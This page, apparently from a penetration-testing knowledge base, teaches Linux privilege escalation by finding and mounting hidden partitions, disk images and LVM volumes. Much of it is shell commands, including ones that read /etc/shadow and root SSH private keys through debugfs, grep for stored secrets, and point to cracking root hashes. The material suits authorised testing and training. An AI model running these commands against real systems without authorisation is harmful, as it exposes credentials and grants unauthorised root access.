# Unmounted Filesystem Privilege Escalation

> Discover and mount hidden filesystems on Linux to uncover sensitive files, credentials, or SUID binaries that may enable local privilege escalation.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/unmounted-filesystem-privilege-escalation
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-02-13
- **Updated:** 2026-07-14

Unmounted filesystems (backup partitions, disk images, LVM volumes) frequently contain credential files, SSH keys, old `/etc/shadow` copies, and scripts executed by root. If you can mount them, you access their contents directly as if they were part of the live filesystem. No kernel exploit or SUID binary needed.

## Prerequisites Check

Establish what is currently mounted versus what exists on disk:

```bash
# What is currently mounted
mount | column -t
cat /proc/mounts

# All block devices including unmounted
lsblk -f
lsblk -o NAME,FSTYPE,SIZE,MOUNTPOINT,LABEL

# All partitions with UUIDs
blkid 2>/dev/null

# Low-level partition table
fdisk -l 2>/dev/null
```

Compare `/proc/mounts` against `/etc/fstab` to find defined but unmounted entries:

```bash
cat /etc/fstab
# # Example vulnerable entry:
# /dev/sdb1 /mnt/backup ext4 defaults 0 0
# /dev/mapper/vg-backup /backup ext4 defaults 0 0
# /home.img /mnt/home ext4 loop,rw 0 0
```

Any line in `/etc/fstab` with a valid device but no corresponding entry in `/proc/mounts` is a candidate. Look especially for:

- `/dev/sdX` partitions
- LVM paths like `/dev/mapper/vg-backup`
- Loop devices pointing to image files
- NFS mounts (different attack surface: see [https://hackindex.io/services/nfs/enumeration/nfs-export-discovery/privilege-escalation/no-root-squash-abuse](https://hackindex.io/services/nfs/enumeration/nfs-export-discovery/privilege-escalation/no-root-squash-abuse))

## Mount Without Root: User-Mountable Entries

Check `/etc/fstab` for the `user` or `users` mount option: these allow unprivileged mounting:

```bash
grep -E '\buser\b|\busers\b' /etc/fstab
```

Example vulnerable entry:

```bash
/dev/sdc1  /media/data  ext4  user,rw,noauto  0  0
```

Mount directly:

```bash
mount /media/data
ls -la /media/data/
```

## Mount With sudo

Check if `mount` is permitted via sudo:

```bash
sudo -l | grep -i mount
```

If allowed:

```bash
mkdir -p /tmp/mnt
sudo mount /dev/sdb1 /tmp/mnt
ls -la /tmp/mnt/
```

Or mount a specific fstab entry by path:

```bash
sudo mount /mnt/backup
```

## Mount Without sudo or user Flag

If you have no sudo and no user-mountable entries, check whether you can write to the device file directly: rare but occurs on misconfigured systems:

```bash
ls -la /dev/sd* /dev/vd* /dev/xvd* 2>/dev/null
```

If a device is readable, use `debugfs` to access ext2/3/4 filesystems without mounting:

```
debugfs /dev/sdb1
debugfs: ls /
debugfs: cat /etc/shadow
debugfs: cat /root/.ssh/id_rsa
```

This requires no mount privileges and no root. Works on ext2/3/4 only.

## Loop-Mounted Disk Images

Disk images defined in fstab or found on the filesystem:

```bash
# Find disk images
find / -name "*.img" -o -name "*.iso" -o -name "*.vmdk" -o -name "*.vhd" 2>/dev/null | grep -v proc

# Check fstab for loop entries
grep loop /etc/fstab
```

Mount a raw image:

```bash
mkdir -p /tmp/img
sudo mount -o loop /path/to/backup.img /tmp/img
ls -la /tmp/img/
```

If the image has multiple partitions, find the offset first:

```bash
fdisk -l /path/to/backup.img
# Note the Start sector of the partition you want
# Offset = Start * 512

sudo mount -o loop,offset=$((START * 512)) /path/to/backup.img /tmp/img
```

## LVM Volumes

LVM logical volumes are common in enterprise environments and often contain backup or old system data:

```bash
# List volume groups
sudo vgscan 2>/dev/null
sudo vgs 2>/dev/null

# Activate all volume groups
sudo vgchange -ay 2>/dev/null

# List logical volumes
sudo lvs 2>/dev/null
sudo lvdisplay 2>/dev/null

# Or use lsblk which works without sudo
lsblk | grep -i lvm
ls /dev/mapper/
```

Mount an LVM volume:

```bash
mkdir -p /tmp/lvm
sudo mount /dev/vg_name/lv_name /tmp/lvm
ls -la /tmp/lvm/
```

## Unmounted Filesystem Privilege Escalation Targets

Work through these in priority order:

**Authentication files:**

```bash
cat /tmp/mnt/etc/shadow 2>/dev/null
cat /tmp/mnt/etc/passwd 2>/dev/null
```

If shadow is readable, crack the root hash: see [https://hackindex.io/platforms/linux/privilege-escalation/passwd-shadow-manipulation](https://hackindex.io/platforms/linux/privilege-escalation/passwd-shadow-manipulation).

**SSH keys:**

```bash
find /tmp/mnt -name "id_rsa" -o -name "id_ed25519" -o -name "authorized_keys" 2>/dev/null
cat /tmp/mnt/root/.ssh/id_rsa 2>/dev/null
```

A root SSH key from the backup may still be valid on the live system.

**Credentials in config files:**

```bash
find /tmp/mnt -name "*.conf" -o -name "*.env" -o -name ".env" -o -name "*.ini" 2>/dev/null | head -20
grep -r "password\|passwd\|secret\|token\|key" /tmp/mnt/etc/ 2>/dev/null | grep -v Binary
```

See [https://hackindex.io/platforms/linux/privilege-escalation/credential-hunting](https://hackindex.io/platforms/linux/privilege-escalation/credential-hunting) for a full credential search workflow.

**Scripts executed by root:**

```bash
cat /tmp/mnt/etc/crontab 2>/dev/null
ls /tmp/mnt/etc/cron.d/ 2>/dev/null
find /tmp/mnt/opt /tmp/mnt/usr/local /tmp/mnt/root -name "*.sh" 2>/dev/null
```

If a script from the mounted filesystem is also present on the live system and executed by root, check if it is writable: see [https://hackindex.io/platforms/linux/privilege-escalation/cron-job-privilege-escalation](https://hackindex.io/platforms/linux/privilege-escalation/cron-job-privilege-escalation).

## Cleanup

Unmount after extraction to avoid interfering with system operations:

```bash
sudo umount /tmp/mnt
rmdir /tmp/mnt
```

## References

- [fstab manual](https://man7.org/linux/man-pages/man5/fstab.5.html) - Mount options and user permissions
- [mount manual](https://man7.org/linux/man-pages/man8/mount.8.html) - Loop and LVM usage
- [debugfs(8) manual](https://man7.org/linux/man-pages/man8/debugfs.8.html) - Direct ext2/3/4 filesystem access without mounting.